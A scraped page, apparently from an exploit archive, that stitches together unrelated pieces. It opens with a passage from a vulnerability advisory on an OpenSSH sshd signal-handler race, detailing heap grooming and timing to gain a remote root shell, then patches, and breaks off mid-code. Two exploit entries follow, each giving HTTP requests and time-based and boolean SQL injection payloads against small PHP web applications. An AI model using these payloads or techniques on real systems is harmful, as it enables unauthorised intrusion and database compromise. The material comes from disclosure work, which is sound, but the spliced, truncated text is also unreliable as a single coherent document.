1<br /> for its FILE structure, and we achieve arbitrary code execution as<br /> explained above;<br /><br />- if not, then we malloc()ate the small hole 1 ourselves with our first<br /> malloc(304), and:<br /><br />2/ Our second malloc(~4KB) splits the large hole 2 in two:<br /><br />- if this second split is interrupted by SIGALRM at the right time, then<br /> the fopen() inside the SIGALRM handler malloc()ates the small hole 2<br /> for its FILE structure, and we achieve arbitrary code execution as<br /> explained above;<br /><br />- if not, then we malloc()ate the small hole 2 ourselves with our second<br /> malloc(304), etc.<br /><br />We were able to make 27 pairs of such large and small holes in sshd's<br />heap (28 would exceed PACKET_MAX_SIZE, 256KB): our large race window now<br />contains 27 small race windows! Achieving this complex heap layout was<br />extremely painful and time-consuming, but the two highlights are:<br /><br />- We abuse sshd's public-key parsing code to perform arbitrary sequences<br /> of malloc() and free() calls (at lines 1805 and 573):<br /><br />------------------------------------------------------------------------<br />1754 cert_parse(struct sshbuf *b, struct sshkey *key, struct sshbuf *certbuf)<br />1755 {<br />....<br />1797 while (sshbuf_len(principals) > 0) {<br />....<br />1805 if ((ret = sshbuf_get_cstring(principals, &principal,<br />....<br />1820 key->cert->principals[key->cert->nprincipals++] = principal;<br />1821 }<br />------------------------------------------------------------------------<br /> 562 cert_free(struct sshkey_cert *cert)<br /> 563 {<br /> ...<br /> 572 for (i = 0; i < cert->nprincipals; i++)<br /> 573 free(cert->principals[i]);<br />------------------------------------------------------------------------<br /><br />- We were unable to find a memory leak for our small "barrier" chunks;<br /> instead, we use tcache chunks (which are never really freed, because<br /> their inuse bit is never cleared) as makeshift "barrier" chunks.<br /><br />To reliably achieve this heap layout, we send five different public-key<br />packets to sshd (packets a/ to d/ can be sent long before SIGALRM; most<br />of packet e/ can also be sent long before SIGALRM, but its very last<br />byte must be sent at the very last moment):<br /><br />a/ We malloc()ate and free() a variety of tcache chunks, to ensure that<br />the heap allocations that we do not control end up in these tcache<br />chunks and do not interfere with our careful heap layout.<br /><br />b/ We malloc()ate and free() chunks of various sizes, to make our 27<br />pairs of large and small holes (and the corresponding "barrier" chunks).<br /><br />c/ We malloc()ate and free() ~4KB chunks and 320B chunks, to:<br /><br />- write the fake header (the large size field) of our potentially<br /> enlarged remainder chunk, into the middle of our large holes;<br /><br />- write the fake footer of our potentially enlarged remainder chunk, to<br /> the end of our small holes (to pass the glibc's security checks);<br /><br />- write our fake vtable and _codecvt pointers, into our small holes<br /> (which are potential FILE structures).<br /><br />d/ We malloc()ate and free() one very large string (nearly 256KB), to<br />ensure that our large and small holes are removed from the unsorted list<br />of free chunks and placed into their respective malloc bins.<br /><br />e/ We force sshd to perform our final sequence of malloc() calls<br />(malloc(~4KB), malloc(304), malloc(~4KB), malloc(304), etc), to open our<br />27 small race windows.<br /><br />Attentive readers may have noticed that we have still not addressed<br />(literally and figuratively) the problem of _codecvt. In fact, _codecvt<br />is a pointer to a structure (_IO_codecvt) that contains a pointer to a<br />structure (__gconv_step) that contains the __fct function pointer that<br />allows us to execute arbitrary code. To reliably control __fct through<br />_codecvt, we simply point _codecvt to one of the glibc's malloc bins,<br />which conveniently contains a pointer to one of our free chunks in the<br />heap, which contains our own __fct function pointer to arbitrary glibc<br />code (all of these glibc addresses are known to us, because we assume<br />that the glibc is mapped at address 0xb7400000).<br /><br />------------------------------------------------------------------------<br />Timing<br />------------------------------------------------------------------------<br /><br /> We're running out of time<br /> -- The Interrupters, "As We Live"<br /><br />As we implemented this third exploit, it became clear that we could not<br />simply re-use the timing strategy that we had used against the two older<br />OpenSSH versions: we were never winning this new race condition.<br />Eventually, we understood why:<br /><br />- It takes a long time (~10ms) for sshd to parse our fifth and last<br /> public key (packet e/ above); in other words, our large race window is<br /> too large (our 27 small race windows are like needles in a haystack).<br /><br />- The user_specific_delay() that was introduced recently (OpenSSH 7.8p1)<br /> delays sshd's response to our last public-key packet by up to ~9ms and<br /> therefore destroys our feedback-based timing strategy.<br /><br />As a result, we developed a completely different timing strategy:<br /><br />- from time to time, we send our last public-key packet with a little<br /> mistake that produces an error response (lines 138-142 below), right<br /> before the call to sshkey_from_blob() that parses our public key;<br /><br />- from time to time, we send our last public-key packet with another<br /> little mistake that produces an error response (lines 151-155 below),<br /> right after the call to sshkey_from_blob() that parses our public key;<br /><br />- the difference between these two response times is the time that it<br /> takes for sshd to parse our last public key, and this allows us to<br /> precisely time the transmission of our last packets (to ensure that<br /> sshd has the time to parse our public key in the unprivileged child,<br /> send it to the privileged child, and start to parse it there, before<br /> the delivery of SIGALRM).<br /><br />------------------------------------------------------------------------<br /> 88 userauth_pubkey(struct ssh *ssh, const char *method)<br /> 89 {<br />...<br />138 if (pktype == KEY_UNSPEC) {<br />139 /* this is perfectly legal */<br />140 verbose_f("unsupported public key algorithm: %s", pkalg);<br />141 goto done;<br />142 }<br />143 if ((r = sshkey_from_blob(pkblob, blen, &key)) != 0) {<br />144 error_fr(r, "parse key");<br />145 goto done;<br />146 }<br />...<br />151 if (key->type != pktype) {<br />152 error_f("type mismatch for decoded key "<br />153 "(received %d, expected %d)", key->type, pktype);<br />154 goto done;<br />155 }<br />------------------------------------------------------------------------<br /><br />With this change in strategy, it takes ~10,000 tries on average to win<br />the race condition; i.e., with 100 connections (MaxStartups) accepted<br />per 120 seconds (LoginGraceTime), it takes ~3-4 hours on average to win<br />the race condition, and ~6-8 hours to obtain a remote root shell<br />(because of ASLR).<br /><br /><br />========================================================================<br />Towards an amd64 exploit<br />========================================================================<br /><br /> What's your plan for tomorrow?<br /> -- The Interrupters, "Take Back the Power"<br /><br />We decided to target Rocky Linux 9 (a Red Hat Enterprise Linux 9<br />derivative), from "Rocky-9.4-x86_64-minimal.iso", for two reasons:<br /><br />- its OpenSSH version (8.7p1) is vulnerable to this signal handler race<br /> condition and its glibc is always mapped at a multiple of 2MB (because<br /> of the ASLR weakness discussed in the previous "Theory" subsection),<br /> which makes partial pointer overwrites much more powerful;<br /><br />- the syslog() function (which is async-signal-unsafe but is called by<br /> sshd's SIGALRM handler) of this glibc version (2.34) internally calls<br /> __open_memstream(), which malloc()ates a FILE structure in the heap,<br /> and also calls calloc(), realloc(), and free() (which gives us some<br /> much-needed freedom).<br /><br />With a heap corruption as a primitive, two FILE structures malloc()ated<br />in the heap, and 21 fixed bits in the glibc's addresses, we believe that<br />this signal handler race condition is exploitable on amd64 (probably not<br />in ~6-8 hours, but hopefully in less than a week). Only time will tell.<br /><br />Side note: we discovered that Ubuntu 24.04 does not re-randomize the<br />ASLR of its sshd children (it is randomized only once, at boot time); we<br />tracked this down to the patch below, which turns off sshd's rexec_flag.<br />This is generally a bad idea, but in the particular case of this signal<br />handler race condition, it prevents sshd from being exploitable: the<br />syslog() inside the SIGALRM handler does not call any of the malloc<br />functions, because it is never the very first call to syslog().<br /><br /> https://git.launchpad.net/ubuntu/+source/openssh/tree/debian/patches/systemd-socket-activation.patch<br /><br /><br />========================================================================<br />Patches and mitigation<br />========================================================================<br /><br /> The storm has come and gone<br /> -- The Interrupters, "Good Things"<br /><br />On June 6, 2024, this signal handler race condition was fixed by commit<br />81c1099 ("Add a facility to sshd(8) to penalise particular problematic<br />client behaviours"), which moved the async-signal-unsafe code from<br />sshd's SIGALRM handler to sshd's listener process, where it can be<br />handled synchronously:<br /><br /> https://github.com/openssh/openssh-portable/commit/81c1099d22b81ebfd20a334ce986c4f753b0db29<br /><br />Because this fix is part of a large commit (81c1099), on top of an even<br />larger defense-in-depth commit (03e3de4, "Start the process of splitting<br />sshd into separate binaries"), it might prove difficult to backport. In<br />that case, the signal handler race condition itself can be fixed by<br />removing or commenting out the async-signal-unsafe code from the<br />sshsigdie() function; for example:<br /><br />------------------------------------------------------------------------<br />sshsigdie(const char *file, const char *func, int line, int showfunc,<br /> LogLevel level, const char *suffix, const char *fmt, ...)<br />{<br />#if 0<br /> va_list args;<br /><br /> va_start(args, fmt);<br /> sshlogv(file, func, line, showfun
<pre><code># Exploit Title: Simple Laboratory Management System - Manual Blind Time Based SQL Injection<br /># Exploit Description: A SQL Injection vulnerability in Computer Laboratory Management System v1.0 allows attackers to execute arbitrary SQL commands on the database server which causes the services to delay in response time.<br /># Affected Asset: The "delete_users" function in Users.php inside the Computer Laboratory Management System v1.0 application is vulnerable to Blind Time Based SQL Injection.<br /># Exploit Author: Smitha Bhabal<br /># Date: 2024-06-30<br /># Vendor Homepage: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html<br /># Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lms.zip<br /># Version: 1.0<br /># Tested On: Windows 11 Home 22631.3737 + XAMPP 3.3.0 (April 6th 2021)<br /># Reference: https://github.com/payloadbox/sql-injection-payload-list<br /><br /><br />POST /php-lms/classes/Users.php?f=delete HTTP/1.1<br />Host: localhost<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: en-GB,en;q=0.5<br />Accept-Encoding: gzip, deflate, br<br />Connection: keep-alive<br />Cookie: PHPSESSID=1bfs2uc82iaorimhamvfj2qi6u<br />Upgrade-Insecure-Requests: 1<br />Sec-Fetch-Dest: document<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-Site: none<br />Sec-Fetch-User: ?1<br />DNT: 1<br />Sec-GPC: 1<br />Priority: u=1<br />Content-Length: 45<br />Content-Type: application/x-www-form-urlencoded<br /><br />id=(select%20*%20from%20(select(sleep(20)))a)<br /></code></pre>
<pre><code># Exploit Title: Azon Dominator - Affiliate Marketing Script - SQL Injection<br /># Date: 2024-06-03<br /># Exploit Author: Buğra Enis Dönmez<br /># Vendor: https://www.codester.com/items/12775/azon-dominator-affiliate-marketing-script<br /># Demo Site: https://azon-dominator.webister.net/<br /># Tested on: Arch Linux<br /># CVE: N/A<br /><br />### Request ###<br /><br />POST /fetch_products.php HTTP/1.1<br />Content-Type: application/x-www-form-urlencoded<br />Accept: */*<br />x-requested-with: XMLHttpRequest<br />Referer: https://localhost/<br />Cookie: PHPSESSID=crlcn84lfvpe8c3732rgj3gegg; sc_is_visitor_unique=rx12928762.1717438191.4D4FA5E53F654F9150285A1CA42E7E22.8.8.8.8.8.8.8.8.8<br />Content-Length: 79<br />Accept-Encoding: gzip,deflate,br<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36<br />Host: localhost<br />Connection: Keep-alive<br /><br />cid=1*if(now()=sysdate()%2Csleep(6)%2C0)&max_price=124&minimum_range=0&sort=112<br /><br />###<br /><br />### Parameter & Payloads ###<br /><br />Parameter: cid (POST)<br /> Type: boolean-based blind<br /> Title: AND boolean-based blind - WHERE or HAVING clause<br /> Payload: cid=1) AND 7735=7735 AND (5267=5267<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: cid=1) AND (SELECT 7626 FROM (SELECT(SLEEP(5)))yOxS) AND (8442=8442<br /><br />###<br /><br /></code></pre>